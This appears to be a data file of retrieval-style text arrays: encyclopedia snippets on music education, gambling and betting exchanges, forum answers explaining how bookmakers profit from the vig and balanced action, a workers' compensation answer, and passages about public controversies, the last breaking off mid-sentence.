Levinowitz showed that fewer than 50% of first-graders could sing in tune.\nMusic learning", "Music-specific disorders Neuroscientists have learned a lot about the role of the brain in numerous cognitive mechanisms by understanding corresponding disorders. Similarly, neuroscientists have come to learn a lot about music cognition by studying music-specific disorders. Even though music is most often viewed from a \"historical perspective rather than a biological one\" music has significantly gained the attention of neuroscientists all around the world. For many centuries music has been strongly associated with art and culture. The reason for this increased interest in music is because it \"provides a tool to study numerous aspects of neuroscience, from motor skill learning", "\"good\" or \"successful\" teaching by analyzing the role of appropriate reinforcement such as praise and feedback on musical discrimination, attitude, and performance. Later studies also examined music itself as a mechanism of reinforcement, such as research by Greer (1981) and Madsen (1981). Cognitive learning theories and music education Cognitive theories of learning, often viewed as the antithesis of behavioral theories, attempt to map how individual learning processes relate to already-familiar knowledge. Gestalt psychology serves as the foundation for many applications to music learning theory.\nFred Lerdahl and Ray Jackendoff (1983) theorized on musical grammar based on Chomsky's linguistic theories, arguing that", "Music education Music education is a field of study associated with the teaching and learning of music. It touches on all learning domains, including the psychomotor domain (the development of skills), the cognitive domain (the acquisition of knowledge), and, in particular and significant ways, the affective domain (the learner's willingness to receive, internalize, and share what is learned), including music appreciation and sensitivity. Music training from preschool through post-secondary education is common in most nations because involvement with music is considered a fundamental component of human culture and behavior. Cultures from around the world have different approaches to", "games can help their learning because through video games kids learn memory, hand eye hand eye coordination and visual acuteness.  Piaget believed in the “importance of play in learning” this learning can be done both at home and in schools.\nSome good educational tools in schools today include online games like Kahoot!, BINGO, language apps like Duolingo, math apps like Sushi Monster, using card games to do addition, subtraction, multiplication.  Some schools even use Minecraft for tinkering. Educational games have been proven to have a positive effect on students. Improved learning in educational games include but are" ]

[ "Bookies do two things when arranging bets to make money. First, they try to make even odds so that there are equal numbers of people on both sides of the bet. Second, they make it so the odds don't quite even out and there will be money leftover for the bookie.\n\nFor example, say a bookie is taking bets on a football game between the Texans and Cowboys. If too many people are betting for the Cowboys, the bookie will adjust the point spread to encourage more people to vote for the Texans. They keep doing this until people are betting on both sides evenly. They also make it so that you have to bet something like $110 to win $100. Now let's say 10 people bet on the Cowboys and 10 on the Texans and they all bet $110. That's $2,200 total. The Texans win with the point spread. The bookie pays each person who bet on the Texans $210 - the original $110 back plus the $100 they won. That's $2,100 he has to pay out total. The bookie gets to keep the leftover $100. Put another way, each Cowboys bettor put up $110. $100 of that goes to each person who bet on the Texans for winning and $10 is leftover of the bookie.\n\nSince there are an equal number of bets on both sides, the math works out the same no matter who wins.", "Major bookkeepers, like the ones in the UK, Las Vegas, and online, act more as \"market makers\". They try not to take either side of a bet, they try to get equal amounts of bets on either side of the outcome and just take a \"vig\" or \"vigorish\" that represents a difference. \n\nSometimes the vig is \"built in\" to the bet. For example, a sports book might currently offer odds for each MLB team to win the world series, but if you add up the odds for every team it comes to less than 100% and that difference is their profit margin. In other examples the sports book might offer even odds but then assess a commission on top of bets placed that you don't get returned if you lose. For example, say that there is an NFL game where the sports book is offering 2x1 on one team and 2x1 on the other. That's even odds, so how are they making money? They charge 10% on top of all bets that you don't get back if you lose. To bet $100, you have to put down $110. If you win you receive $210 (your original $110 plus 2x1 on the $100 bet), if you lose then you forfeit the whole $110.", "I have a *lot* of experience with this and you're getting some pretty mediocre answers in this thread.\n\n1) How do they make money? They make you pay the vig. On a point spread bet $110 only nets you $100 profit, for instance.\n\n2) How do they protect themselves? By limiting their exposure. This can mean ensuring money is wagered on both sides. It can also mean not taking large parlay bets if the potential win is more than you can afford. Also, smaller bookies (like your neighborhood guy) are *very* frequently \"laying off\". They're just passing your action on to someone else, usually a central bookie or an online sportsbook with low vig.\n\nA major misconception ITT: \"Sportsbooks set lines with the goal of attracting even action.\"\n\nThis is not true for two reasons. First, the only way to get even action for a large book is to post an accurate line. Even if the public bettors all like one side of a line, they tend to bet $20-$200, and not all of them will be interested in that game. One single syndicate of expert bettors will bet millions of dollars on a specific game if they see a line off by even a point. They overwhelm the public on any inefficient line.\n\nSecond, sportsbook quite often intentionally take exposure to a side if they're confident it's the right side. As the book you know who your sharp bettors are, so you know what the sharp side is. If you can find the right line that keeps the sharps off (due to vig) but still attracts public money on the square side then you're golden.", "There are several ways to take/make bets on sports. The most basic bet is place a bet on a single team to win or lose. For example, in football, you can place a bet that the SF 49ers will beat the LA Rams. Most bets of this kind are placed against a spread. A spread is a point differential that you have to overcome in order to win the bet. The team that is more likely to win the game will have to beat the spread of say 3 or 7 or whatever number in order for you to win your bet. If, say, the 49ers are favored by 3 points, they have to win by 4 points or more for you to collect your winnings if you placed your bet on them. The spread, in theory, should be a number that would have an even number of betters to place bets on both sides (half will place a bet that the 49ers will win by 4 or more, half will place a bet that the Rams will lose by 2 or less or win the game). This way, the house loses nothing--they take the money that the losers lost and give that to the winners. But the losers always pay a vig or juice, usually 10%. So if you bet $100 that the 49ers would win by 4 points or more and they only win by 2 points, you lost your bet and have to pay $100 plus an extra 10%, for a total of $110. The extra 10% goes to the house. If the game ends with the 49ers winning by exactly 3 points, it's a squash a no one wins or loses; this is why point spreads are often 3.5 or 7.5. \n\nSo the basic idea is that the house will create a situation where there is a roughly equal amount of money on both sides of the bet so the house takes on no risk and merely collects the vig, ensuring a 10% profit. In reality, the house will have lopsided bets on individual games, but over hundreds and thousands of games, things tend to even out. \n\nFor books or houses that are not massive enough to ensure an equal amount of money on both sides, and there is heavy money on say the 49ers, they can simply place a bet of their own on the 49ers. So if there is $10,000 on the Niners and the house feels this bet is too large for them to handle, the house can place an equally large bet on the Niners with another house or book. If the Niners win, the house collects its winnings and simply transfers that to the bettor, and if the 49ers lose, they take the money from the bettor to pay off it's own losing bet on the Niners. They won't make money, but it will protect them.", "Bookies make their money on the vig. You bet 110 in hopes of winning 200. No matter what happens the bookie gets to keep the $10\n\nIf the bets come out disproportionately on one side, the bookie will \"lay off\" the risk by placing a bet with another bookie to offset the bets he's covering. For example bookie is holding 10K in bets in favor of the Cowboys and only 5K in favor of the Some Other Team. Bookie will place a bet in favor of the Cowboys with another bookie so if the Cowboys do win, he can collect from the other bookie and use that to pay the people who bet on the Cowboys with him.\n\nRemember that since the bookie gets 10% straight profit from all bets, he or she only has to lay off if there is more than a 10% variance between the two sides of the bet.", "It's a mixture of things.\n\nIn an ideal world, the bookmaker makes profit regardless of the outcome of the game. This is pretty easy to achieve under ideal circumstances as they just offer slightly worse odds than they should, and keep the difference as profit.\n\nTake a coin toss as an example. If you bet £10 on a coin toss, you expect to have a 50% chance of winning, and should double your stake if you win. In a coin-toss scenario a bookmaker might only offer 1.95x your stake, so if you place a bet of £10 and win, you might take £19.50 and the bookmaker keeps the extra £0.50 as profit. It's easy to see how a bookmaker can profit in this way on a coin toss, and if someone offered to pay you less than double on a coin toss you'd probably tell them where to go, but when it comes to sports you probably don't know what odds your bookmaker SHOULD be offering you, so it's easy for them to take bets like this. You can get an idea of how bad your bookmakers odds are by comparing it against other bookies or a betting exchange like Betfair or Smarkets. Quite often bookmakers will be offering WAY lower odds than they perhaps could be, especially on large outsiders. A horse that pays 50/1 on a bookmaker might actually pay 250/1 on a betting exchange, and a horse that pays 7/1 at the bookmaker might be 8/1 or 9/1 on an exchange.\n\nIf lots of people are betting on a specific outcome, the bookmaker will reduce the amount that they're willing to pay out on that bet. So if you have a popular horse, they'll cut the odds so that if it does win they don't have to pay out as much. Simple risk management really. The idea is to encourage people to bet on less likely outcomes by offering to pay out more, so that however the game goes, you come out ahead because you've taken bets on every possible outcome and will be paying out less than you took.\n\nContinuing on this theme, bookmakers will attempt to balance their book by placing bets elsewhere. Lets say you're giving 8/1 (9.0) on a horse, and receive a £1000 bet on it. You don't want to be stuck in a situation where if that horse wins you lose a lot of money, so you go elsewhere and place your own bet on that horse. If you're offering sensible prices you might be able to back that horse at odds of 9/1 (10) on betfair, allowing you to balance your book and make a guaranteed profit of £80-90 instead of risking winning/losing several thousand.\n\nThe only situation where bookmakers really lose money is when there's a huge favourite that wins. Lets say you have a horse with approx 50% chance of winning. Lots of people place bets on this horse, so you lower your odds to 4/6 (1.66) compensate, but people continue betting large sums of money. You're in a situation where even though you're paying out very small amounts on winning bets, you're still going to be in a situation where if this horse wins you'll pay out more than the total of all the bets you've taken on the other horses in the race. You have a couple of options here:\n\n1) Place your own bets on this horse\n\nThis doesn't really make sense though. You know it has a 50% chance of winning, so you should be doubling your money on any bets you place on it. You're only getting 1.66x your money, so any bets you place as a result are -EV (unprofitable bets).\n\n2) Leave your book unbalanced and risk paying out if it wins\n\nThis is also problematic as you can end up losing a lot of money. This is the best long term plan providing you're correct about the statistics and can afford to absorb some losses.\n\nMajor bookmakers employ traders who are experts in this kinda stuff and have a very good idea what kind of prices they should be offering. They will obviously get things wrong from time to time, but as long as they win more often than they lose it's all good.", "High reward bets have poor odds. Yes, it is *possible* that a ton of people take a bet with poor odds, and then that team wins in an upset and a lot of money is won. However, there are usually many more people who took the bets with better odds and lost. Their money is used to pay the winners. Also after this game the odds will not be as bad and the reward not as high.", "It's pretty simple really. They take bets on both sides of every match and adjust the point spread to get an equal number of bets on both sides. Then they throw a fee on top of the winnings and that's where their profits come from.", "Where betting is illegal, if you lose big that week and don't have the money to cover your losses, they have some guy break your legs. If you win big that week and they don't have the money to cover your winnings, they have some guy break your legs.", "Same as a casino, generally. The number of people who lose is almost always greater than the number who win.\n\nThen there's 'the odds.' Betting on the team most likely to win gives a much smaller payout than betting on an unlikely team." ]

[ "may take bets personally. Parimutuel wagers pay off at prices determined by support in the wagering pools, while bookmakers pay off either at the odds offered at the time of accepting the bet; or at the median odds offered by track bookmakers at the time the race started. Sports betting Betting on team sports has become an important service industry in many countries. For example, millions of people play the football pools every week in the United Kingdom. In addition to organized sports betting, both legal and illegal, there are many side-betting games played by casual groups of spectators, such", "the practice is common today. They may have their comps reduced or eliminated. \nSkillful sports bettors, known as \"sharps\", may have their betting limits reduced and may not be allowed to take advantage of bonuses at online sports books. Instead, skillful sports bettors may rely on \"runners\" to place and collect their bets.\nCraps players are often stopped from playing if the dice fail to bounce off the back wall of the table.\nAdvantage players abide by the established rules of the game and thus, in most jurisdictions, are not regarded as committing fraud against the casino. So, while they may face", "Advantage gambling Sports and horse betting Sports and horse betting can be beaten by placing arbitrage bets, which involve placing bets at different bookmakers who are offering different lines. Many online sports books now offer bonuses like free bets or free money. These bonuses usually come with a stipulation that the bettor place a certain number of bets. For example, a site may offer a bettor $50 free if they deposit $100 and place a total of $1000 in bets. These can reduce the vig taken by the house or even offer the bettor a small advantage.\nAnother form of advantage", "the United States. It involves making wagers based on some outcome of a contest or some aspect within the contest. In prior instances of legality, there were multiple incidents of professional athletes/referees committing scandals to increase payouts. The people placing the bets always have worse odds than those hosting the bets and that is how this industry remains profitable.\nSports Betting although PASPA (The Professional and Amateur Sports Protection Act of 1992 (Pub.L. 102–559) was overturned in May 2018, the individual states are still considering what methods (brick and mortar and online) of sports gambling to allow and where. For", "generate revenue by offering less efficient odds. Betting exchanges normally generate revenue by charging a transaction fee.\nTraditionally betting has occurred between a customer and a bookmaker where the customer 'backs' (bets that an outcome will occur) and the bookmaker 'lays' (bets that the outcome will not occur). Betting exchanges offer the opportunity for anyone to both back and lay.\nFor example, if someone thinks Team A will win a competition, he may wish to back that selection. A bookmaker offering the punter that bet would be laying that selection. The two parties will agree the backer's stake and the odds. If", "wireless Internet connection. In-play gambling In-play gambling is a feature on many online sports betting websites that allows the user to bet while the event is in progress. A benefit of live in-play gambling is that there are much more markets. For example, in Association football a user could bet on which player will receive the next Yellow card, or which team will be awarded the next corner kick. Advance-deposit wagering Advance-deposit wagering (ADW) is a form of gambling on the outcome of horse races in which the bettor must fund his or her account before being allowed to place", "However, for a bookmaker to flatter a horse in order to sell bets on it at shorter odds may be regarded as salesmanship rather than cheating, since bettors can counter this by informing themselves and by exercising skepticism.\nDoping a horse is a clear example of cheating by interfering with the instruments of the event under wager. Again, not all interference is cheating; spending money to support the health and well-being of a horse one has wagered on is not in itself generally regarded as cheating, nor is improving the morale of a sportsman one has backed by cheering for them.", "the bettor to compare sportsbooks against each other. Betting movement is essential to any professional bettor, giving them the option to view where money is being placed from the line opening is seen as one of the major components. Bettors can also view archived bets from the same day. Reception The SBR Odds tool has been likened to professional stock monitoring tools. It has also said to be one of the industry replacements for rudimentary odd comparison techniques.", "avoid wagering on such a fixture while others will be motivated to wager on it, or alter the bet they would otherwise place. Such actions will invariably affect odds and point spreads even if there is no contact whatsoever between teams and the relevant gambling interests. The rise of betting exchanges has allowed such speculation to play out in real time. History Since gambling pre-dates recorded history it comes as little surprise that evidence of match fixing is found throughout recorded history. The ancient Olympic Games were almost constantly dealing with allegations of athletes accepting bribes to lose", "outcome. A New England Patriots fan, for example, could bet their opponents to win to reduce the negative emotions felt if the team loses a game. People typically do not bet against desired outcomes that are important to their identity, due to negative signal about their identity that making such a gamble entails. Betting against your team or political candidate, for example, may signal to you that you are not as committed to them as you thought you were. Hedging strategies A hedging strategy usually refers to the general risk management policy of a financially and physically trading firm how", "The sportsbooks are slower to adjust the odds in some sports versus other sports depending on the number of games played and the amount of money they take in from bettors.\nBetting systems based on statistical analysis have been around for a while, however they have not always been well known. One group that was known for their accurate predictions was called The Computer Group. They formed in Las Vegas in 1980 and successfully wagered on college football and basketball games for years making millions. Michael Kent, co-founder and one of the lesser-known individuals of the group, would use", "he is betting more in the first place.\nTo avoid the feeling that the player's money is simply ebbing away (whereas a payout of 100 credits on a single line machine would be 100 bets, and the player would feel they had made a substantial win, on a 20 line machine, it would only be 5 bets and would not seem significant), manufacturers commonly offer bonus games, which can return many times their bet. The player is encouraged to keep playing to reach the bonus: even if he is losing, the bonus game could allow him to win back his losses.", "his computer software to run through massive amounts of data, which then provided the group's network of bettors with useful information. The network of bettors would then bet on games in which they had a statistical advantage (as determined by the software). Billy Walters, who was profiled on 60 Minutes, was the most famous member of the group.\nSports betting systems have not always been well trusted or liked by bettors. The stigma is that a sporting event has too many intangibles that a machine can't predict. However, things have begun to change recently as owners of teams", "the gambler bets against other gamblers, not the house, which necessarily implies that the bank cannot be broken. The science of predicting the outcome of a race is called handicapping.\nIndependent off-track bookmakers typically have a smaller take and thus offer better payoffs, but they are illegal in some countries. However, the introduction of Internet gambling led to \"rebate shops\". These off-shore betting shops promise to return some percentage of every bet made to the bettor. They may reduce their take from 15-18% to as little as 1 or 2%, while still generating a profit by operating with minimal overhead.", "of the betting box is deemed to have control over the position, and the dealer will consult the controlling player for playing decisions regarding the hand; the other players of that box are said to \"play behind\". Any player is usually allowed to control or bet in as many boxes as desired at a single table, but it is prohibited for an individual to play on more than one table at a time or to place multiple bets within a single box. In many U.S. casinos, however, players are limited to playing two or three positions at a table and", "one factor pointing towards a team is needed to have a successful betting system.", "has been made from the pool. Parimutuel betting also provides purse money to participants and a considerable amount of tax revenue, with over $100 billion being wagered annually in 53 countries.\nIn some countries – notably the UK, Ireland, and Australia – an alternative and more popular facility is provided by bookmakers who effectively make a market in odds. This allows the gambler to 'lock in' odds on a horse at a particular time (known as 'taking the price' in the UK). Types of bets In North American racing, the three most common ways to bet money are to win, to", "bet and I don't gamble. I just enjoy watching horses running and performing.\" Christian scholar Martin Marty criticised this statement by Robertson, stating \"The whole culture of horse racing involves gambling, and all the money comes from people trying to hit it big gambling. This is like saying you're investing in a bordello but aren't in favor of prostitution.\" Financial ties to African leaders Robertson repeatedly supported former President of Liberia, Charles Taylor, in various episodes of his The 700 Club program during the United States' involvement in the Second Liberian Civil War in June and July 2003. Robertson", "in such situations. In virtually all sports, players and other on-field contributors are forbidden from being involved in sports betting and thus have no incentive to consider the point spread during play; any attempt to manipulate the outcome of a game for gambling purposes would be considered match fixing, and the penalty is typically a lifetime banishment from the sport, such is the lack of tolerance for gambling in sport. Sports spread betting In the United Kingdom, sports spread betting became popular in the late 1980s by offering an alternative form of sports wagering to traditional fixed odds, or fixed-risk,", "place contestant's score, the leader can guarantee victory by making a sufficiently small wager. Otherwise, according to Jeopardy! College Champion Keith Williams, the leader will usually wager such that he or she will have a dollar more than twice the second place contestant's score, guaranteeing a win with a correct response. Writing about Jeopardy! wagering in the 1990s, Gilbert and Hatcher said that \"most players wager aggressively\". Winnings The top scorer(s) in each game retain the value of their winnings in cash, and return to play in the next match. Non-winners receive consolation prizes. Since May 16, 2002, consolation", "is in setting the odds low enough so as to have a positive expected value of profit while keeping the odds high enough to attract customers, and at the same time attracting enough bets for each outcome to reduce his risk exposure.\nA study on soccer betting found that the probability for the home team to win was generally about 3.4% less than the value calculated from the odds (for example, 46.6% for even odds). It was about 3.7% less for wins by the visitors, and 5.7% less for draws.\nMaking a profit in gambling involves predicting the relationship of the true", "to buy betting, some casinos only take commission on win reducing house edge. Unlike place and buy bets, lay bets are always working even when no point has been established. The player must specify otherwise if he or she wishes to have the bet not working.\nIf a player is unsure of whether a bet is a single or multi-roll bet, it can be noted that all single-roll bets will be displayed on the playing surface in one color (usually red), while all multi-roll bets will be displayed in a different color (usually yellow). Put A put bet is a bet", "placing the bets on multiple bookmakers (dutching) to avoid the commission charged for using an exchange. Generally, bookmakers incorporate terms by which bettors must first place a bet using their own money in order to qualify for the free bet. For this, a bet is placed on particular results occurring with the bookmaker and a second bet placed on the same result not occurring at the betting exchange. The latter is required to offset any loss in the event that the result does not occur; for instance, if a team loses. Once the free bet has been qualified, the same", "probabilities to the payout odds. Sports information services are often used by professional and semi-professional sports bettors to help achieve this goal.\nThe odds or amounts the bookmaker will pay are determined by the total amount that has been bet on all of the possible events. They reflect the balance of wagers on either side of the event, and include the deduction of a bookmaker's brokerage fee (\"vig\" or vigorish).\nAlso, depending on how the betting is affected by jurisdiction, taxes may be involved for the bookmaker and/or the winning player. This may be taken into account when offering the odds", "point the two players with the least money were pitted against one another in an elimination round. Side betting Any player with money was allowed to place a side bet on the current game (even one of the competing players). Anything could be bet on; for example, which contestant would win, whether a particular ball would be made or missed, or whether one player would \"run out the table.\" All side bets were in $500 increments, but the bettor was required to find a taker for a bet to be official. Elimination round The two players with the smallest bankrolls", "competing in a sports tournaments (Becker and Huselid 1992, in NASCAR racing) or in the broiler chicken industry (Knoeber and Thurman 1994), would take risky actions instead of increasing their effort supply as a cheap way to improve the prospects of winning. These actions are inefficient as they increase risk taking without increasing the average effort supplied.\nA major problem with tournaments is that individuals are rewarded based on how well they do relative to others. Co-workers might become reluctant to help out others and might even sabotage others' effort instead of increasing their own effort (Lazear 1989, Rob and Zemsky", "a beginning and not a continuation of previous events. They suggested that this would prevent people from gambling when they are losing, in the mistaken hope that their chances of winning are due to increase based on an interaction with previous events. Users Studies have found that asylum judges, loan officers, baseball umpires and lotto players employ the gambler's fallacy consistently in their decision-making.", "game. Gambling The wagering of money on an event extends the motivation for cheating beyond directly participating competitors. As in sport and games, cheating in gambling is generally related to directly breaking rules or laws, or misrepresenting the event being wagered on, or interfering in the outcome.\nA boxer who takes a dive, a casino which plays with secretly loaded dice, a rigged roulette wheel or slot machine, or a doctored deck of cards, are generally regarded as cheating, because it has misrepresented the likelihood of the game's outcomes beyond what is reasonable to expect a bettor to protect himself against.", "are a small number of horses in the race, show or place bets may not be offered (or if bets have already been made, they are cancelled and the wagered amounts refunded).\nIn Europe, Australia, and Asia, betting to place is different since the number of \"payout places\" varies depending on the size of the field that takes part in the race. For example, in a race with seven or less runners in the UK, only the first two finishers would be considered winning bets with most bookmakers. Three places are paid for eight or more runners, whilst a handicap race", "to the player's advantage to 'buy' the bet (see below).\nThere are also \"Place Bets to Lose\". Rarely casinos offer these bets. This bet is the opposite of the place bet to win and pays off if a 7 is rolled before the specific point number. The place bet to lose typically carries a lower house edge than a place bet to win. Payouts are 4–5 on points 6 or 8, 5–8 on 5 or 9, and 5–11 on 4 or 10.\nIn most cases, there are other methods to bet on point numbers than placing them, depending how" ]

[ "I'll answer one question: In Texas, at least, participation by a company in the Workers Compensation program acts as a bar to civil liability for an accident--the recovery of Workers Comp benefits is the injured worker's sole remedy. The bar is statutory. But the workers comp bar doesn't apply to parties who are not the injured workers employer." ]

[ "reported that at the time, according to the U.S. Press Freedom Tracker, there had been 35 physical attacks on journalists so far in 2017.\nIn April 2018, the company came under fire for selling items celebrating Dylann Roof, a \"neo-nazi\" mass murderer.\nIn June 2018, the company's policy of protecting groups and individuals from discrimination and hatred was called into question when a design campaign was pulled for featuring the term \"TERFs\" (short for Trans-Exclusionary Radical Feminists). The design was anti-TERF, the most notable T-shirt design stating \"Fuck TERFs\" and was created by an openly transgender woman. There was a good deal", "Albert Breer Notable incidents Breer was the writer most often questioning Patriots coach Bill Belichick in the famous 2014 \"We're on to Cincinnati\" press conference. Breer has said that this led the NFL Network to ban him from covering the Patriots for the remainder of his contract, which ended in June 2016.\nBreer was suspended from the NFL Network from April 25, 2016 through June 1, 2016, for undisclosed reasons and was prohibited from posting on social media during that time. Prior to his suspension he had agreed to take a position with the MMQB.\nIn May 2017 Breer dismissed widely reported", "was a shoulder-to-helmet contact). No penalty was called on the play. Today, however, the NFL has banned all blows to the head or neck of a defenseless player, and has disallowed players to launch themselves in tackling defenseless players.\nThe incident became a symbol of violence in football. Stingley reportedly described it as a \"freak accident.\" Because Stingley was a young player at the height of his career, his horrific injuries attracted significant public attention. Partly in response to Stingley's injuries, the NFL changed its rules and conventions to curtail aggressive plays. Stingley told the Chicago Tribune that he approved of", "the local NAACP president asked to be Tased to better understand the complaints his organization had received. Kerlikowske joined him in a public demonstration in which they were both shocked at the same time.\nIn 2005, Kerlikowske faced embarrassment after having his duty handgun stolen from his locked car, which was parked on a public street.\nIn March 2007, the National Association for the Advancement of Colored People and the Minority Executive Directors Coalition called for his resignation. Seattle had just settled a lawsuit filed by a suspect who alleged that the police had used excessive force in a 2005 arrest. The", "To protest this charge, he stripped off in front of the courthouse with three other activists wrapped in a banner reading \"STOP indecent exposure to vehicle emissions\". He then ran into the court naked, but put his clothes back on for the plea hearing. The charges were later dropped due to lack of evidence.\nOn 22 March 2005, he and other protestors publicly complained about police brutality while passively resisting arrest for obstructing a footpath, following a peace demonstration that went inside an ANZ bank. In May 2006 he filed papers at the Auckland district court seeking NZ$50,000 in damages from", "a subsequent interview, Washington claimed that \"they fired the wrong guy\" (referring to Knight) and said he was considering filing a lawsuit as a result. He accused Knight of using the controversy to bolster his own career and increase his salary on Grey's Anatomy. Washington, in late June 2007, began asserting that racism within the media was a factor in his firing from the series. On July 2, 2007, Washington appeared on Larry King Live on CNN, to present his side of the controversy. According to Washington, he never used the \"F Word\" in reference to Knight, but rather", "Roof was a reader and commenter on The Daily Stormer, a white nationalist news website. Its editor Andrew Anglin \"repudiated Roof's crime and publicly disavowed violence, while endorsing many of Roof's views.\" He claimed that while he would have sympathy with a white man shooting criminals, killing innocents including elderly women was \"a completely insane act\". Manhunt and capture The attack was treated as a hate crime by police, and officials from the Federal Bureau of Investigation (FBI) were called in to assist in the investigation and manhunt.\nAt 10:44 a.m., on the morning after the attack, Roof was captured in a", "and had to attend drivers' safety classes, but did not have his license suspended. Media Lynch is known for being reluctant to talk to the media. He was fined $50,000 by the NFL for refusing to talk to the media throughout the 2013 NFL season, which inspired fans of the Seattle Seahawks to fundraise that amount. However, the fine was subsequently pulled back in an agreement that he would be fined another $50,000 if he broke the same rule, after which he donated the money raised by Seahawks fans to pay his fine to charity. Lynch was fined $100,000 on", "wall for talking to the press.\"\nWinner was charged with \"removing classified material from a government facility and mailing it to a news outlet.\" On June 8, 2017, she pleaded not guilty to a charge of \"willful retention and transmission of national defense information\", and was denied bail. Prosecutors alleged she may have been involved in other leaks of classified information, and might try to flee the country if released. The U.S. Justice Department lawyers also argued that her defense team should not be allowed to discuss any classified information, even if it was in news reports published by the media.\nOn", "were 42 other guys that are taking their helmets off and doing whatever for the last 10 years, and that's the first time that's happened to me. Circumstances, I think, are he lied and was so frustrated that he doesn't know how to deal with his anger.\" Two days later, NASCAR announced penalties for Phoenix Racing. The penalties, for \"\"actions detrimental to stock-car racing\", for hitting Newman's car on pit road, and getting into an altercation, included a $50,000 fine for Kurt Busch, and he was placed on probation until July 25, 2012. Additionally, a crew member of Kurt Busch's", "longer reported crime-related events. The department refused to decrypt its radio use, however.\nEllerbe later placed Walls on leave in February 2012 after a heated exchange about racism on Twitter. More than 100 firefighters walked out of a State of the Department address delivered by Chief Ellerbe in early February. On his personal Twitter feed and personal Facebook account, Walls called the action the \"most blatant, ignorant and racist public display of disrespect I have ever seen\". The Washington Times inquired about the posts, and Walls removed them at Chief Ellerbe's request. Walls' suspension-with-pay lasted a few days. Firefighter scheduling controversy", "nickname \"Bad News\" came from his frequent off-court problems, which began when he was a senior at Central High School. He was part of a gang that attempted to rob a bus. He was quickly identified as he was wearing his state championship jacket with his name embroidered on it. His case was handled by the juvenile justice system. In 1972, while playing center for Providence College, he attacked a teammate with a tire iron. He later pleaded guilty to assault, paid the victim $10,000 and was placed on probation. He violated probation in October 1976 when an unloaded gun", "Heseltine's later claim that he was simply handed it by a military figure to protect his coat from the rain). The jacket was a gift to cartoonists and he wore it on several subsequent visits to military bases. In February 1983 he fell over in the melée (he claimed at the time to have been pushed) when CND protestors surrounded a meeting of Newbury Conservatives, a propaganda gift, and on Good Friday 1983 he was filmed in West Berlin looking over the wall to the communist east, distracting attention from CND's linking of arms round Greenham Common that day.\nWith a", "writing a retraction to the original editorial, and admitted that losing his job with the newspaper was a possibility. He admittedly claimed that the officer had not humiliated or embarrassed him at the time, and was just doing his job, properly. The RCMP agreed not to charge the editor over the incident.", "a public office and one of racially aggravated assault. The Guardian reported that a request may have been made to restrict reporting of the trial by the media. The officer who was driving the van acted as a whistleblower during the trial. One officer, a former Royal Marine, accused in this case was also involved in the assault of Babar Ahmed and has had 31 complaints lodged against him since 1993. In November 2009 he was cleared of all offences, along with the other officers, and returned to work with the TSG.\nDuring the 2009 G-20 London summit protests two officers", " In response to Rideout's press conference, the Free Press conducted an internal investigation into the allegations. After the internal review, Henderson was fired from the Detroit Free Press for \"inappropriate behavior\" towards female employees that had occurred over several years. In response to his firing, Henderson said on his own radio show that he apologized to the women involved and said it was \"bad judgement\" on his part, but he also said that he disagreed with the decision by the Free Press and would be \"exploring legal action.\" \nHenderson's attorney has said there was no lawsuit and that a", "multiple windows of a women's dorm building, attempting to look around window coverings, apparently to see the people inside. When stopped by security guards, the fly of Gardner's pants was unzipped. Gardner was charged with surreptitious intrusion, but accepted a deal from prosecutors where he instead plead guilty to a lesser charge of disorderly conduct. He received a sentence of 30 days in jail, but that sentence was suspended in its entirety. \nIn the aftermath of that incident becoming public, Gardner announced his intention to withdraw from the race for Secretary of State on May 20. Despite that intention, it", "it into a meme by releasing an ad that provided instructions to their customer on how to burn their products \"properly\". Athletes and sports media Throughout the remainder of the 2016 season, Kaepernick received public backlash for his protest, with an anonymous NFL executive calling Kaepernick \"a traitor\". On September 20, 2016, Kaepernick also stated that he received death threats primarily through social media.\nSportscaster Bob Costas offered support for Kaepernick stating, \"Patriotism comes in many forms and what has happened is it's been conflated with a bumper-style kind of flag-waving and with the military only so that people cannot see", "2012, Embel admitted to physically assaulting a parliamentary staff member during an argument about his unpaid travel entitlements.\nEmbel may face disciplinary charges from the Parliamentary Privileges Committee as a result of the incident.", "blue T-shirt and work pants typically worn by track workers and was arrested as he tried to enter a restricted area of a midtown station. McCollum was charged with criminal impersonation, criminal trespass and possession of burglary tools—a hammer and screwdriver tucked in his backpack. These \"burglary tools\" are also the typical repair equipment that all MTA maintenance workers carry. When his mother was interviewed over the telephone, she said, \"Any time Darius wears anything remotely resembling the transit uniform, he gets arrested.\"\nMcCollum was released from the Downstate Correctional Facility on July 3, 2007—nine months after his arrest for violating", "away between two haulers when Kenseth charged between the haulers and physically attacked Keselowski. Keselowski's crew chief Paul Wolfe grabbed Kenseth to restrain him. When Kenseth's crew came over they pulled Wolfe off to restrain him and Kenseth. Kenseth's mechanic, Jesse Sanders, and crew chief, Jason Ratcliff, were called to the NASCAR hauler. Kenseth and Hamlin both were not penalized for the incident since no punches were thrown. Keselowski and Stewart were penalized by NASCAR because of the contact that they made on pit road. Both were fined and placed on probation for this incident.\nThe next week at Talladega, Kenseth", "service to report him for stalking her, calling the police emergency service again the following night in relation to the presence of another reporter. Michelle Stanistreet, General Secretary of the National Union of Journalists, said: “Journalists, like any other workers, need to be able to go about their work without fear of threats or assault. It’s completely unacceptable to respond to legitimate press queries, however unwelcome they may be, with physical or verbal abuse.\"\nOn 1 December 2018, Osamor resigned from the Shadow Cabinet, stating she needed \"to concentrate on supporting my family through the difficult time we have been experiencing\".", "much of the cover page was readable in that photograph. In light of Kobach's \"deceptive conduct and lack of candor\", he was fined $1,000 by the court and ordered to submit to questioning by the ACLU about the documents.\nA student at Topeka's Washburn University took note of the magistrate judge's action and filed a complaint with the Disciplinary board of the Kansas Supreme Court, alleging that by his conduct, Kobach had \"shown a lack of respect for the courts.\" She informed the local press that the board had notified her by mail that it was investigating her complaint.\nOn July 3,", "in the attack. He was allegedly captured on video wearing a black vest that said \"Front Line Soldiers\" on the back, punching and kicking the SUV Braszczok, whose police work led him to pose undercover as a protester to infiltrate the Occupy Wall Street movement, asserted that he never harmed Lien and was hitting the vehicle to maintain his cover. Prosecutors argue that \"Braszczok completely abdicated his responsibility as a police officer by first and foremost failing to take any action.\" He testified that he was unable to help Lien because, without his badge and gun, he was helpless to", "in military uniforms, including a captain and a sergeant first class, entered the coffeehouse and proceeded to 'harass the hell out of the GIs'\". After being evicted by the coffeehouse staff they threatened \"We will return.\" One week later, when the coffeehouse was filled with GIs and their dates for a Valentine's Day party, a grenade was rolled in through the front door. Two Fort Dix soldiers and one civilian were seriously injured. No one was ever arrested for the attack, and the coffeehouse's landlord, whose family and building were threatened, felt compelled to ask the coffeehouse staff to leave,", "was considered unpatriotic to say anything against the cleanup or the EPA.\"\nWorby faults government officials for 